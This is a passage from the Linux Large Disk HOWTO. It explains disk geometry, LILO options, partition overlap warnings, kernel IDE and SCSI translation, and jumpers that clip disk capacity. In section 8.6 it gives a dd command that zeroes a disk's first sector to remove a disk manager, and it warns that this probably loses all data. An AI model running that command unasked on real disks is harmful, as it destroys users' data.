Most systems from 1998 or later will have a modern BIOS.

5.1 LILO and the `lba32' and `linear' options

Executive summary: If you use LILO as boot loader, make sure you have LILO version 21.4 or later. (It can be found at ftp://metalab.unc.edu/pub/Linux/system/boot/lilo/.) Always use the lba32 option.

An invocation of /sbin/lilo (the boot map installer) stores a list of addresses in the boot map, so that LILO (the boot loader) knows from where to read the kernel image. By default these addresses are stored in (c,h,s) form, and ordinary INT13 calls are used at boot time.

When the configuration file specifies lba32 or linear, linear addresses are stored. With lba32 also linear addresses are used at boot time, when the BIOS supports extended INT13. With linear, or with an old BIOS, these linear addresses are converted back to (c,h,s) form, and ordinary INT13 calls are used.

Thus, with lba32 there are no geometry problems and there is no 1024 cylinder limit. Without it there is a 1024 cylinder limit. What about the geometry?

The boot loader and the BIOS must agree as to the disk geometry. /sbin/lilo asks the kernel for the geometry, but there is no guarantee that the Linux kernel geometry coincides with what the BIOS will use. Thus, often the geometry supplied by the kernel is worthless. In such cases it helps to give LILO the `linear' option. The advantage is that the Linux kernel idea of the geometry no longer plays a role. The disadvantage is that lilo cannot warn you when part of the kernel was stored above the 1024 cylinder limit, and you may end up with a system that does not boot.

5.2 A LILO bug

With LILO versions below v21 there is another disadvantage: the address conversion done at boot time has a bug: when c*H is 65536 or more, overflow occurs in the computation. For H larger than 64 this causes a stricter limit on c than the well-known c < 1024; for example, with H=255 and an old LILO one must have c < 258. (c=cylinder where kernel image lives, H=number of heads of disk)

5.3 1024 cylinders is not 1024 cylinders

Tim Williams writes: `I had my Linux partition within the first 1024 cylinders and still it wouldnt boot. First when I moved it below 1 GB did things work.' How can that be? Well, this was a SCSI disk with AHA2940UW controller which uses either H=64, S=32 (that is, cylinders of 1 MiB = 1.05 MB), or H=255, S=63 (that is, cylinders of 8.2 MB), depending on setup options in firmware and BIOS. No doubt the BIOS assumed the former, so that the 1024 cylinder limit was found at 1 GiB, while Linux used the latter and LILO thought that this limit was at 8.4 GB.

5.4 No 1024 cylinder limit on old machines with IDE

The nuni boot loader does not use BIOS services but accesses IDE drives directly. So, one can put it on a floppy or in the MBR and boot from anywhere on any IDE drive (not only from the first two). Find it at //metalab.unc.edu/pub/Linux/system/boot/loaders/.


Large Disk HOWTO: Disk geometry, partitions and `overlap'

 Next Previous Contents

6. Disk geometry, partitions and `overlap'

If you have several operating systems on your disks, then each uses one or more disk partitions. A disagreement on where these partitions are may have catastrophic consequences.

The MBR contains a partition table describing where the (primary) partitions are. There are 4 table entries, for 4 primary partitions, and each looks like

struct partition {
        char active;    /* 0x80: bootable, 0: not bootable */
        char begin[3];  /* CHS for first sector */
        char type;
        char end[3];    /* CHS for last sector */
        int start;      /* 32 bit sector number (counting from 0) */
        int length;     /* 32 bit number of sectors */
};
(where CHS stands for Cylinder/Head/Sector).

This information is redundant: the location of a partition is given both by the 24-bit begin and end fields, and by the 32-bit start and length fields.

Linux only uses the start and length fields, and can therefore handle partitions of not more than 2^32 sectors, that is, partitions of at most 2 TiB. That is thirty times larger than the disks available today, so maybe it will be enough for the next six years or so. (So, partitions can be very large, but there is a serious restriction in that a file in an ext2 filesystem on hardware with 32-bit integers cannot be larger than 2 GiB.)

DOS uses the begin and end fields, and uses the BIOS INT13 call to access the disk, and can therefore only handle disks of not more than 8.4 GB, even with a translating BIOS. (Partitions cannot be larger than 2.1 GB because of restrictions of the FAT16 file system.) The same holds for Windows 3.11 and WfWG and Windows NT 3.*.

Windows 95 has support for the Extended INT13 interface, and uses special partition types (c, e, f instead of b, 6, 5) to indicate that a partition should be accessed in this way. When these partition types are used, the begin and end fields contain dummy information (1023/255/63). Windows 95 OSR2 introduces the FAT32 file system (partition type b or c), that allows partitions of size at most 2 TiB.

What is this nonsense you get from fdisk about `overlapping' partitions, when in fact nothing is wrong? Well - there is something `wrong': if you look at the begin and end fields of such partitions, as DOS does, they overlap. (And that cannot be corrected, because these fields cannot store cylinder numbers above 1024 - there will always be `overlap' as soon as you have more than 1024 cylinders.) However, if you look at the start and length fields, as Linux does, and as Windows 95 does in the case of partitions with partition type c, e or f, then all is well. So, ignore these warnings when cfdisk is satisfied and you have a Linux-only disk. Be careful when the disk is shared with DOS. Use the commands cfdisk -Ps /dev/hdx and cfdisk -Pt /dev/hdx to look at the partition table of /dev/hdx.

6.1 The last cylinder

Many old IBM PS/2 systems used disks with a defect map written to the end of the disk. (Bit 0x20 in the control word of the disk parameter table is set.) Therefore, FDISK would not use the last cylinder. Just to be sure, the BIOS often already reports the size of the disk as one cylinder smaller than reality, and that may mean that two cylinders are lost. Newer BIOSes have several disk size reporting functions, where internally one calls the other. When both subtract 1 for this reserved cylinder and also FDISK does so, then one may lose three cylinders. These days all of this is irrelevant, but this may provide an explanation if one observes that different utilities have slightly different opinions about the disk size.

6.2 Cylinder boundaries

A well-known claim says that partitions should start and end at cylinder boundaries.

Since "disk geometry" is something without objective existence, different operating systems will invent different geometries for the same disk. One often sees a translated geometry like */255/63 used by one and an untranslated geometry like */16/63 used by another OS. Thus, it may be impossible to align partitions to cylinder boundaries according to each of the the various ideas about the size of a cylinder that one's systems have. Also different Linux kernels may assign different geometries to the same disk. Also, enabling or disabling the BIOS of a SCSI card may change the fake geometry of the connected SCSI disks.

Fortunately, for Linux there is no alignment requirement at all. (Except that some semi-broken installation software likes to be very sure that all is OK; thus, it may be impossible to install RedHat 7.1 on a disk with unaligned partitions because DiskDruid is unhappy.)

People report that it is easy to create nonaligned partitions in Windows NT, without any noticeable bad effects.

But MSDOS 6.22 has an alignment requirement. Extended partition sectors that are not on a cylinder boundary are ignored by its FDISK. The system itself is happy with any alignment, but interprets relative starting addresses as if relative to an aligned address: The starting address of a logical partition is given relative not to the address of the extended partition sector that describes it, but relative to the start of the cylinder that contains that sector. (So, it is not surprising that also PartitionMagic requires alignment.)

What is the definition of alignment? MSDOS 6.22 FDISK will do the following: 1. If the first sector of the cylinder is a partition table sector, then the rest of the track is unused, and the partition starts with the the next track. This applies to sector 0 (the MBR) and the partition table sectors preceding logical partitions. 2. Otherwise, the partition starts at the first sector of the cylinder. Also the extended partition starts at a cylinder boundary. The cfdisk man page says that old versions of DOS did not align partitions.

Use of partition type 85 for the extended partition makes it invisible to DOS, making sure that only Linux will look inside.

As an aside: on a Sparc, the boot partition must start on a cylinder boundary (but there is no requirement on the end).


Large Disk HOWTO: Translation and Disk Managers

 Next Previous Contents

7. Translation and Disk Managers

Disk geometry (with heads, cylinders and tracks) is something from the age of MFM and RLL. In those days it corresponded to a physical reality. Nowadays, with IDE or SCSI, nobody is interested in what the `real' geometry of a disk is. Indeed, the number of sectors per track is variable - there are more sectors per track close to the outer rim of the disk - so there is no `real' number of sectors per track. Quite the contrary: the IDE command INITIALIZE DRIVE PARAMETERS (91h) serves to tell the disk how many heads and sectors per track it is supposed to have today. It is quite normal to see a large modern disk that has 2 heads report 15 or 16 heads to the BIOS, while the BIOS may again report 255 heads to user software.

For the user it is best to regard a disk as just a linear array of sectors numbered 0, 1, ..., and leave it to the firmware to find out where a given sector lives on the disk. This linear numbering is called LBA.

So now the conceptual picture is the following. DOS, or some boot loader, talks to the BIOS, using (c,h,s) notation. The BIOS converts (c,h,s) to LBA notation using the fake geometry that the user is using. If the disk accepts LBA then this value is used for disk I/O. Otherwise, it is converted back to (c',h',s') using the geometry that the disk uses today, and that is used for disk I/O.

Note that there is a bit of confusion in the use of the expression `LBA': As a term describing disk capabilities it means `Linear Block Addressing' (as opposed to CHS Addressing). As a term in the BIOS Setup, it describes a translation scheme sometimes called `assisted LBA' - see above under ` The 8.4 GB limit '.

Something similar works when the firmware doesn't speak LBA but the BIOS knows about translation. (In the setup this is often indicated as `Large'.) Now the BIOS will present a geometry (C,H,S) to the operating system, and use (C',H',S') while talking to the disk controller. Usually S = S', C = C'/N and H = H'*N, where N is the smallest power of two that will ensure C' <= 1024 (so that least capacity is wasted by the rounding down in C' = C/N). Again, this allows access of up to 8.4 GB (7.8 GiB).

(The third setup option usually is `Normal', where no translation is involved.)

If a BIOS does not know about `Large' or `LBA', then there are software solutions around. Disk Managers like OnTrack or EZ-Drive replace the BIOS disk handling routines by their own. Often this is accomplished by having the disk manager code live in the MBR and subsequent sectors (OnTrack calls this code DDO: Dynamic Drive Overlay), so that it is booted before any other operating system. That is why one may have problems when booting from a floppy when a Disk Manager has been installed.

The effect is more or less the same as with a translating BIOS - but especially when running several different operating systems on the same disk, disk managers can cause a lot of trouble.

Linux does support OnTrack Disk Manager since version 1.3.14, and EZ-Drive since version 1.3.29. Some more details are given below.


Large Disk HOWTO: Kernel disk translation for IDE disks

 Next Previous Contents

8. Kernel disk translation for IDE disks

If the Linux kernel detects the presence of some disk manager on an IDE disk, it will try to remap the disk in the same way this disk manager would have done, so that Linux sees the same disk partitioning as for example DOS with OnTrack or EZ-Drive. However, NO remapping is done when a geometry was specified on the command line - so a `hd=cyls,heads,secs' command line option might well kill compatibility with a disk manager.

If you are hit by this, and know someone who can compile a new kernel for you, find the file linux/drivers/block/ide.c and remove in the routine ide_xlate_1024() the test if (drive->forced_geom) { ...; return 0; }.

The remapping is done by trying 4, 8, 16, 32, 64, 128, 255 heads (keeping H*C constant) until either C <= 1024 or H = 255.

The details are as follows - subsection headers are the strings appearing in the corresponding boot messages. Here and everywhere else in this text partition types are given in hexadecimal.

8.1 EZD

EZ-Drive is detected by the fact that the first primary partition has type 55. The geometry is remapped as described above, and the partition table from sector 0 is discarded - instead the partition table is read from sector 1. Disk block numbers are not changed, but writes to sector 0 are redirected to sector 1. This behaviour can be changed by recompiling the kernel with #define FAKE_FDISK_FOR_EZDRIVE 0 in ide.c.

8.2 DM6:DDO

OnTrack DiskManager (on the first disk) is detected by the fact that the first primary partition has type 54. The geometry is remapped as described above and the entire disk is shifted by 63 sectors (so that the old sector 63 becomes sector 0). Afterwards a new MBR (with partition table) is read from the new sector 0. Of course this shift is to make room for the DDO - that is why there is no shift on other disks.

8.3 DM6:AUX

OnTrack DiskManager (on other disks) is detected by the fact that the first primary partition has type 51 or 53. The geometry is remapped as described above.

8.4 DM6:MBR

An older version of OnTrack DiskManager is detected not by partition type, but by signature. (Test whether the offset found in bytes 2 and 3 of the MBR is not more than 430, and the short found at this offset equals 0x55AA, and is followed by an odd byte.) Again the geometry is remapped as above.

8.5 PTBL

Finally, there is a test that tries to deduce a translation from the start and end values of the primary partitions: If some partition has start and end sector number 1 and 63, respectively, and end heads 31, 63, 127 or 254, then, since it is customary to end partitions on a cylinder boundary, and since moreover the IDE interface uses at most 16 heads, it is conjectured that a BIOS translation is active, and the geometry is remapped to use 32, 64, 128 or 255 heads, respectively. However, no remapping is done when the current idea of the geometry already has 63 sectors per track and at least as many heads (since this probably means that a remapping was done already).

8.6 Getting rid of a disk manager

When Linux detects OnTrack Disk Manager, it will shift all disk accesses by 63 sectors. Similarly, when Linux detects EZ-Drive, it shifts all accesses of sector 0 to sector 1. This means that it may be difficult to get rid of these disk managers. Most disk managers have an uninstall option, but if you need to remove some disk manager an approach that often works is to give an explicit disk geometry on the command line. Now Linux skips the ide_xlate_1024() routine, and one can wipe out the partition table with disk manager (and probably lose access to all disk data) with the command

        dd if=/dev/zero of=/dev/hdx bs=512 count=1
The details depend a little on kernel version. Recent kernels (since 2.3.21) recognize boot parameters like "hda=remap" and "hdb=noremap", so that it is possible to get or avoid the EZD shift regardless of the contents of the partition table. The "hdX=noremap" boot parameter also avoids the OnTrack Disk Manager shift.


Large Disk HOWTO: Consequences

 Next Previous Contents

9. Consequences

What does all of this mean? For Linux users only one thing: that they must make sure that LILO and fdisk use the right geometry where `right' is defined for fdisk as the geometry used by the other operating systems on the same disk, and for LILO as the geometry that will enable successful interaction with the BIOS at boot time. (Usually these two coincide.)

How does fdisk know about the geometry? It asks the kernel, using the HDIO_GETGEO ioctl. But the user can override the geometry interactively or on the command line.

How does LILO know about the geometry? It asks the kernel, using the HDIO_GETGEO ioctl. But the user can override the geometry using the `disk=' option in /etc/lilo.conf (see lilo.conf(5)). One may also give the linear option to LILO, and it will store LBA addresses instead of CHS addresses in its map file, and find out of the geometry to use at boot time (by using INT 13 Function 8 to ask for the drive geometry).

How does the kernel know what to answer? Well, first of all, the user may have specified an explicit geometry with a `hda=cyls,heads,secs' kernel command line option (see bootparam(7)), perhaps by hand, or by asking the boot loader to supply such an option to the kernel. For example, one can tell LILO to supply such an option by adding an `append = "hda=cyls,heads,secs"' line in /etc/lilo.conf (see lilo.conf(5)). And otherwise the kernel will guess, possibly using values obtained from the BIOS or the hardware.

It is possible (since Linux 2.1.79) to change the kernel's ideas about the geometry by using the /proc filesystem. For example

# sfdisk -g /dev/hdc
/dev/hdc: 4441 cylinders, 255 heads, 63 sectors/track
# cd /proc/ide/ide1/hdc
# echo bios_cyl:17418 bios_head:128 bios_sect:32 > settings
# sfdisk -g /dev/hdc
/dev/hdc: 17418 cylinders, 128 heads, 32 sectors/track
#
This is especially useful if you need so many boot parameters that you overflow LILO's (very limited) command line length.

How does the BIOS know about the geometry? The user may have specified it in the CMOS setup. Or the geometry is read from the disk, and possibly translated as specified in the setup. In the case of SCSI disks, where no geometry exists, the geometry that the BIOS has to invent can often be specified by jumpers or setup options. (For example, Adaptec controllers have the possibility to choose between the usual H=64, S=32 and the `extended translation' H=255, S=63.) Sometimes the BIOS reads the partition table to see with what geometry the disk was last partitioned - it will assume that a valid partition table is present when the 55aa signature is present. This is good, in that it allows moving disks to a different machine. But having the BIOS behaviour depend on the disk contents also causes strange problems. (For example, it has been reported that a 2.5 GB disk was seen as having 528 MB because the BIOS read the partition table and concluded that it should use untranslated CHS. Another effect is found in the report that unpartitioned disks were slower than partitioned ones, because the BIOS tested 32-bit mode by reading the MBR and seeing whether it correctly got the 55aa signature.)

How does the disk know about the geometry? Well, the manufacturer invents a geometry that multiplies out to approximately the right capacity. Many disks have jumpers that change the reported geometry, in order to avoid BIOS bugs. For example, all IBM disks allow the user to choose between 15 and 16 heads, and many manufacturers add jumpers to make the disk seem smaller than 2.1 GB or 33.8 GB. See also below. Sometimes there are utilities that change the disk firmware.

9.1 Computing LILO parameters

Sometimes it is useful to force a certain geometry by adding `hda=cyls,heads,secs' on the kernel command line. Almost always one wants secs=63, and the purpose of adding this is to specify heads. (Reasonable values today are heads=16 and heads=255.) What should one specify for cyls? Precisely that number that will give the right total capacity of C*H*S sectors. For example, for a drive with 71346240 sectors (36529274880 bytes) one would compute C as 71346240/(255*63)=4441 (for example using the program bc), and give boot parameter hdc=4441,255,63. How does one know the right total capacity? For example,

# hdparm -g /dev/hdc | grep sectors
 geometry     = 4441/255/63, sectors = 71346240, start = 0
# hdparm -i /dev/hdc | grep LBAsects
 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=71346240
gives two ways of finding the total number of sectors 71346240. The kernel output
# dmesg | grep hdc
...
hdc: Maxtor 93652U8, 34837MB w/2048kB Cache, CHS=70780/16/63
 hdc: [PTBL] [4441/255/63] hdc1 hdc2 hdc3! hdc4 < hdc5 > ...
tells us about (at least) 34837*2048=71346176 and about (at least) 70780*16*63=71346240 sectors. In this case the second value happens to be precisely correct, but in general both may be rounded down. This is a good way to approximate the disk size when hdparm is unavailable. Never give a too large value for cyls! In the case of SCSI disks the precise number of sectors is given in the kernel boot messages:
SCSI device sda: hdwr sector= 512 bytes. Sectors= 17755792 [8669 MB] [8.7 GB]
(and MB, GB are rounded, not rounded down, and `binary').


Large Disk HOWTO: Details

 Next Previous Contents

10. Details

10.1 IDE details - the seven geometries

The IDE driver has five sources of information about the geometry. The first (G_user) is the one specified by the user on the command line. The second (G_bios) is the BIOS Fixed Disk Parameter Table (for first and second disk only) that is read on system startup, before the switch to 32-bit mode. The third (G_phys) and fourth (G_log) are returned by the IDE controller as a response to the IDENTIFY command - they are the `physical' and `current logical' geometries.

On the other hand, the driver needs two values for the geometry: on the one hand G_fdisk, returned by a HDIO_GETGEO ioctl, and on the other hand G_used, which is actually used for doing I/O. Both G_fdisk and G_used are initialized to G_user if given, to G_bios when this information is present according to CMOS, and to G_phys otherwise. If G_log looks reasonable then G_used is set to that. Otherwise, if G_used is unreasonable and G_phys looks reasonable then G_used is set to G_phys. Here `reasonable' means that the number of heads is in the range 1-16.

To say this in other words: the command line overrides the BIOS, and will determine what fdisk sees, but if it specifies a translated geometry (with more than 16 heads), then for kernel I/O it will be overridden by output of the IDENTIFY command.

Note that G_bios is rather unreliable: for systems booting from SCSI the first and second disk may well be SCSI disks, and the geometry that the BIOS reported for sda is used by the kernel for hda. Moreover, disks that are not mentioned in the BIOS Setup are not seen by the BIOS. This means that, e.g., in an IDE-only system where hdb is not given in the Setup, the geometries reported by the BIOS for the first and second disk will apply to hda and hdc.

The IDENTIFY DRIVE command

When an IDE drive is sent the IDENTIFY DRIVE (0xec) command, it will return 256 words (512 bytes) of information. This contains lots of technical stuff. Let us only describe here what plays a role in geometry matters. The words are numbered 0-255.

We find three pieces of information here: DefaultCHS (words 1,3,6), CurrentCHS (words 54-58) and LBAcapacity (words 60-61).

 | Description | Example
0 | bit field: bit 6: fixed disk, bit 7: removable medium | 0x0040
1 | Default number of cylinders | 16383
3 | Default number of heads | 16
6 | Default number of sectors per track | 63
10-19 | Serial number (in ASCII) | K8033FEC
23-26 | Firmware revision (in ASCII) | DA620CQ0
27-46 | Model name (in ASCII) | Maxtor 54098U8
49 | bit field: bit 9: LBA supported | 0x2f00
53 | bit field: bit 0: words 54-58 are valid | 0x0007
54 | Current number of cylinders | 16383
55 | Current number of heads | 16
56 | Current number of sectors per track | 63
57-58 | Current total number of sectors | 16514064
60-61 | Default total number of sectors | 80041248
255 | Checksum and signature (0xa5) | 0xf9a5

In the ASCII strings each word contains two characters, the high order byte the first, the low order byte the second. The 32-bit values are given with low order word first. Words 54-58 are set by the command INITIALIZE DRIVE PARAMETERS (0x91). They are significant only when CHS addressing is used, but may help to find the actual disk size in case the disk sets DefaultCHS to 4092/16/63 in order to avoid BIOS problems.

Sometimes, when a jumper causes a big drive to misreport LBAcapacity (often to 66055248 sectors, in order to stay below the 33.8 GB limit), one needs a fourth piece of information to find the actual disk size, namely the result of the READ NATIVE MAX ADDRESS (0xf8) command.

10.2 SCSI details

The situation for SCSI is slightly different, as the SCSI commands already use logical block numbers, so a `geometry' is entirely irrelevant for actual I/O. However, the format of the partition table is still the same, so fdisk has to invent some geometry, and also uses HDIO_GETGEO here - indeed, fdisk does not distinguish between IDE and SCSI disks. As one can see from the detailed description below, the various drivers each invent a somewhat different geometry. Indeed, one big mess.

If you are not using DOS or so, then avoid all extended translation settings, and just use 64 heads, 32 sectors per track (for a nice, convenient 1 MiB per cylinder), if possible, so that no problems arise when you move the disk from one controller to another. Some SCSI disk drivers (aha152x, pas16, ppa, qlogicfas, qlogicisp) are so nervous about DOS compatibility that they will not allow a Linux-only system to use more than about 8 GiB. This is a bug.

What is the real geometry? The easiest answer is that there is no such thing. And if there were, you wouldn't want to know, and certainly NEVER, EVER tell fdisk or LILO or the kernel about it. It is strictly a business between the SCSI controller and the disk. Let me repeat that: only silly people tell fdisk/LILO/kernel about the true SCSI disk geometry.

But if you are curious and insist, you might ask the disk itself. There is the important command READ CAPACITY that will give the total size of the disk, and there is the MODE SENSE command, that in the Rigid Disk Drive Geometry Page (page 04) gives the number of cylinders and heads (this is information that cannot be changed), and in the Format Page (page 03) gives the number of bytes per sector, and sectors per track. This latter number is typically dependent upon the notch, and the number of sectors per track varies - the outer tracks have more sectors than the inner tracks. The Linux program scsiinfo will give this information. There are many details and complications, and it is clear that nobody (probably not even the operating system) wants to use this information. Moreover, as long as we are only concerned about fdisk and LILO, one typically gets answers like C/H/S=4476/27/171 - values that cannot be used by fdisk because the partition table reserves only 10 resp. 8 resp. 6 bits for C/H/S.

Then where does the kernel HDIO_GETGEO get its information from? Well, either from the SCSI controller, or by making an educated guess. Some drivers seem to think that we want to know `reality', but of course we only want to know what the DOS or OS/2 FDISK (or Adaptec AFDISK, etc) will use.

Note that Linux fdisk needs the numbers H and S of heads and sectors per track to convert LBA sector numbers into c/h/s addresses, but the number C of cylinders does not play a role in this conversion. Some drivers use (C,H,S) = (1023,255,63) to signal that the drive capacity is at least 1023*255*63 sectors. This is unfortunate, since it does not reveal the actual size, and will limit the users of most fdisk versions to about 8 GiB of their disks - a real limitation in these days.

In the description below, M denotes the total disk capacity, and C, H, S the number of cylinders, heads and sectors per track. It suffices to give H, S if we regard C as defined by M / (H*S).

By default, H=64, S=32.

aha1740, dtc, g_NCR5380, t128, wd7000:

H=64, S=32.

aha152x, pas16, ppa, qlogicfas, qlogicisp:

H=64, S=32 unless C > 1024, in which case H=255, S=63, C = min(1023, M/(H*S)). (Thus C is truncated, and H*S*C is not an approximation to the disk capacity M. This will confuse most versions of fdisk.) The ppa.c code uses M+1 instead of M and says that due to a bug in sd.c M is off by 1.

advansys:

H=64, S=32 unless C > 1024 and moreover the `> 1 GB' option in the BIOS is enabled, in which case H=255, S=63.

aha1542:

Ask the controller which of two possible translation schemes is in use, and use either H=255, S=63 or H=64, S=32. In the former case there is a boot message "aha1542.c: Using extended bios translation".

aic7xxx:

H=64, S=32 unless C > 1024, and moreover either the "extended" boot parameter was given, or the `extended' bit was set in the SEEPROM or BIOS, in which case H=255, S=63. In Linux 2.0.36 this extended translation would always be set in case no SEEPROM was found, but in Linux 2.2.6 if no SEEPROM is found extended translation is set only when the user asked for it using this boot parameter (while when a SEEPROM is found, the boot parameter is ignored). This means that a setup that works under 2.0.36 may fail to boot with 2.2.6 (and require the linear keyword for LILO, or the aic7xxx=extended kernel boot parameter).

buslogic:

H=64, S=32 unless C >= 1024, and moreover extended translation was enabled on the controller, in which case if M < 2^22 then H=128, S=32; otherwise H=255, S=63. However, after making this choice for (C,H,S), the partition table is read, and if for one of the three possibilities (H,S) = (64,32), (128,32), (255,63) the value endH=H-1 is seen somewhere then that pair (H,S) is used, and a boot message is printed "Adopting Geometry from Partition Table".

fdomain:

Find the geometry information in the BIOS Drive Parameter Table, or read the partition table and use H=endH+1, S=endS for the first partition, provided it is nonempty, or use H=64, S=32 for M < 2^21 (1 GiB), H=128, S=63 for M < 63*2^17 (3.9 GiB) and H=255, S=63 otherwise.

in2000:

Use the first of (H,S) = (64,32), (64,63), (128,63), (255,63) that will make C <= 1024. In the last case, truncate C at 1023.

seagate:

Read C,H,S from the disk. (Horrors!) If C or S is too large, then put S=17, H=2 and double H until C <= 1024. This means that H will be set to 0 if M > 128*1024*17 (1.1 GiB). This is a bug.

ultrastor and u14_34f:

One of three mappings ((H,S) = (16,63), (64,32), (64,63)) is used depending on the controller mapping mode.

If the driver does not specify the geometry, we fall back on an educated guess using the partition table, or using the total disk capacity.

Look at the partition table. Since by convention partitions end on a cylinder boundary, we can, given end = (endC,endH,endS) for any partition, just put H = endH+1 and S = endS. (Recall that sectors are counted from 1.) More precisely, the following is done. If there is a nonempty partition, pick the partition with the largest beginC. For that partition, look at end+1, computed both by adding start and length and by assuming that this partition ends on a cylinder boundary. If both values agree, or if endC = 1023 and start+length is an integral multiple of (endH+1)*endS, then assume that this partition really was aligned on a cylinder boundary, and put H = endH+1 and S = endS. If this fails, either because there are no partitions, or because they have strange sizes, then look only at the disk capacity M. Algorithm: put H = M/(62*1024) (rounded up), S = M/(1024*H) (rounded up), C = M/(H*S) (rounded down). This has the effect of producing a (C,H,S) with C at most 1024 and S at most 62.


Large Disk HOWTO: The Linux IDE 8 GiB limit

 Next Previous Contents

11. The Linux IDE 8 GiB limit

The Linux IDE driver gets the geometry and capacity of a disk (and lots of other stuff) by using an ATA IDENTIFY request. Until recently the driver would not believe the returned value of lba_capacity if it was more than 10% larger than the capacity computed by C*H*S. However, by industry agreement large IDE disks (with more than 16514064 sectors) return C=16383, H=16, S=63, for a total of 16514064 sectors (7.8 GB) independent of their actual size, but give their actual size in lba_capacity.

Recent Linux kernels (2.0.34, 2.1.90) know about this and do the right thing. If you have an older Linux kernel and do not want to upgrade, and this kernel only sees 8 GiB of a much larger disk, then try changing the routine lba_capacity_is_ok in /usr/src/linux/drivers/block/ide.c into something like

static int lba_capacity_is_ok (struct hd_driveid *id) {
        id->cyls = id->lba_capacity / (id->heads * id->sectors);
        return 1;
}
For a more cautious patch, see 2.1.90.

11.1 BIOS complications

As just mentioned, large disks return the geometry C=16383, H=16, S=63 independent of the actual size, while the actual size is returned in the value of LBAcapacity. Some BIOSes do not recognize this, and translate this 16383/16/63 into something with fewer cylinders and more heads, for example 1024/255/63 or 1027/255/63. So, the kernel must not only recognize the single geometry 16383/16/63, but also all BIOS-mangled versions of it. Since 2.2.2 this is done correctly (by taking the BIOS idea of H and S, and computing C = capacity/(H*S)). Usually this problem is solved by setting the disk to Normal in the BIOS setup (or, even better, to None, not mentioning it at all to the BIOS). If that is impossible because you have to boot from it or use it also with DOS/Windows, and upgrading to 2.2.2 or later is not an option, use kernel boot parameters.

If a BIOS reports 16320/16/63, then this is usually done in order to get 1024/255/63 after translation.

There is an additional problem here. If the disk was partitioned using a geometry translation, then the kernel may at boot time see this geometry used in the partition table, and report hda: [PTBL] [1027/255/63]. This is bad, because now the disk is only 8.4 GB. This was fixed in 2.3.21. Again, kernel boot parameters will help.

11.2 Jumpers that select the number of heads

Many disks have jumpers that allow you to choose between a 15-head an a 16-head geometry. The default settings will give you a 16-head disk. Sometimes both geometries address the same number of sectors, sometimes the 15-head version is smaller. There may be a good reason for this setup: Petri Kaukasoina writes: `A 10.1 Gig IBM Deskstar 16 GP (model IBM-DTTA-351010) was jumpered for 16 heads as default but this old PC (with AMI BIOS) didn't boot and I had to jumper it for 15 heads. hdparm -i tells RawCHS=16383/15/63 and LBAsects=19807200. I use 20960/15/63 to get the full capacity.' For the jumper settings, see http://www.storage.ibm.com/techsup/hddtech/hddtech.htm.

11.3 Jumpers that clip total capacity

Many disks have jumpers that allow you to make the disk appear smaller than it is. A silly thing to do, and probably no Linux user ever wants to use this, but some BIOSes crash on big disks. The usual solution is to keep the disk entirely out of the BIOS setup. But this may be feasible only if the disk is not your boot disk.

Clip to 2.1 GB

The first serious limit was the 4096 cylinder limit (that is, with 16 heads and 63 sectors/track, 2.11 GB). For example, a Fujitsu MPB3032ATU 3.24 GB disk has default geometry 6704/15/63, but can be jumpered to appear as 4092/16/63, and then reports LBAcapacity 4124736 sectors, so that the operating system cannot guess that it is larger in reality. In such a case (with a BIOS that crashes if it hears how big the disk is in reality, so that the jumper is required) one needs boot parameters to tell Linux about the size of the disk.

That is unfortunate. Most disks can be jumpered so as to appear as a 2 GB disk and then report a clipped geometry like 4092/16/63 or 4096/16/63, but still report full LBAcapacity. Such disks will work well, and use full capacity under Linux, regardless of jumper settings.

Clip to 33 GB

A more recent limit is the 33.8 GB limit. Linux kernels older than 2.2.14 / 2.3.21 need a patch to be able to cope with IDE disks larger than this.

With an old BIOS and a disk larger than 33.8 GB, the BIOS may hang, and in such cases booting may be impossible, even when the disk is removed from the CMOS settings. See also the BIOS 33.8 GB limit.

Therefore, large IBM and Maxtor disks come with a jumper that make the disk appear as a 33.8 GB disk. For example, the IBM Deskstar 37.5 GB (DPTA-353750) with 73261440 sectors (corresponding to 72680/16/63, or 4560/255/63) can be jumpered to appear as a 33.8 GB disk, and then reports geometry 16383/16/63 like any big disk, but LBAcapacity 66055248 (corresponding to 65531/16/63, or 4111/255/63). Similar things hold for recent large Maxtor disks.

Maxtor

With the jumper present, both the geometry (16383/16/63) and the size (66055248) are conventional and give no information about the actual size. Moreover, attempts to access sector 66055248 and above yield I/O errors. However, on Maxtor drives the actual size can be found and made accessible using the READ NATIVE MAX ADDRESS and SET MAX ADDRESS commands. Presumably this is what MaxBlast/EZ-Drive does. Now there is also a small Linux utility setmax.c for this, and also a kernel patch has been published.

Early large Maxtor disks have an additional detail: the J46 jumper for these 34-40 GB disks changes the geometry from 16383/16/63 to 4092/16/63 and does not change the reported LBAcapacity. This means that also with jumper present the BIOS (old Award 4.5*) will hang at boot time. For this case Maxtor provides a utility JUMPON.EXE that upgrades the firmware to make J46 behave as described above.

On recent Maxtor drives the call setmax -d 0 /dev/hdX will give you max capacity again. However, on slightly older drives a firmware bug does not allow you to use -d 0, and setmax -d 255 /dev/hdX returns you to almost full capacity. For Maxtor D540X-4K, see below.

IBM

For IBM things are worse: the jumper really clips capacity and there is no software way to get it back. The solution is not to use the jumper but use setmax -m 66055248 /dev/hdX to software-clip the disk. ("How?" you say - "I cannot boot!". IBM gives the tip: If a system with Award BIOS hangs during drive detection: Reboot the system and hold the F4 key to bypass autodetection of the drive(s). If this doesn't help, find a different computer, connect the drive to it, and run setmax there. After doing this you go back to the first machine and are in the same situation as with jumpered Maxtor disks: booting works, and after getting past the BIOS either a patched kernel or a setmax -d 0 gets you full capacity.

Maxtor D540X-4K

The Maxtor Diamond Max drives 4K080H4, 4K060H3, 4K040H2 (aka D540X-4K) are identical to the drives 4D080H4, 4D060H3, 4D040H2 (aka D540X-4D), except that the jumper settings differ. A Maxtor FAQ specifies the Master/Slave/CableSelect settings for them, but the capacity clip jumper for the "4K" drives seems to be undocumented. Nils Ohlmeier reports that he experimentally finds that it is the J42 jumper ("reserved for factory use") closest to the power connector. (The "4D" drives use the J46 jumper, like all other Maxtor drives.)

However, it may be that this undocumented jumper acts like the IBM jumper: the machine boots correctly, but the disk has been clipped to 33 GB and setmax -d 0 does not help to get full capacity back. And the IBM solution works: do not use any disk-clipping jumpers, but first put the disk in a machine with non-broken BIOS, soft-clip it with setmax -m 66055248 /dev/hdX, then put it back in the first machine, and after booting run setmax -d 0 /dev/hdX to get full capacity again.


Large Disk HOWTO: The Linux 65535 cylinder limit

 Next Previous Contents

12. The Linux 65535 cylinder limit

